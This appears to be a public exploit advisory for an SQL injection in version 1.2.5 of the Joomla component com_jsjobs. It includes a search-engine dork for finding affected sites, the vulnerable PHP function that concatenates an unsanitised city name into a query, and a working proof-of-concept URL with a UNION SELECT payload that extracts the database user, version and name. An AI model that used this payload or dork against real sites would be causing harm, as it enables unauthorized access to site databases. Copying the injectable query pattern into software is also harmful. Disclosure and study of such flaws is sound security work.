#Exploit Title: Joomla! component com_jsjobs - SQL Injection
#Dork: inurl:"index.php?option=com_jsjobs"
#Date: 11.08.19
#Exploit Author: qw3rTyTy
#Vendor Homepage: https://www.joomsky.com/
#Software Link: https://www.joomsky.com/5/download/1
#Version: 1.2.5
#Tested on: Debian/nginx/joomla 3.9.0
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#Vulnerability details:
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Vulnerable code is in line 296 in file site/models/cities.php

   291      function isCityExist($countryid, $stateid, $cityname){
   292          if (!is_numeric($countryid))
   293              return false;
   294  
   295          $db = $this->getDBO();
   296    $query = "SELECT id,name,latitude,longitude FROM `#__js_job_cities` WHERE countryid=" . $countryid . " AND LOWER(name) = '" . strtolower($cityname) . "'";  //!!!
   297  
   298          if($stateid > 0){
   299              $query .= " AND stateid=".$stateid;
   300          }else{
   301              $query .= " AND (stateid=0 OR stateid IS NULL)";
   302    }
   303    
   305          $db->setQuery($query);
   306          $city = $db->loadObject();
   307          if ($city != null)
   308              return $city;
   309          else
   310              return false;
   311      }
   312  
   313  }

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#PoC:
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http://localhost/index.php?option=com_jsjobs&task=cities.savecity&citydata=%27%20UNION%20SELECT%20*%20FROM%20(SELECT%20user())%20AS%20a%20JOIN%20(SELECT%20version())%20as%20b%20JOIN%20(SELECT%20database())%20as%20c%20JOIN%20(SELECT%20%27woot%27)%20as%20d--%20,Canada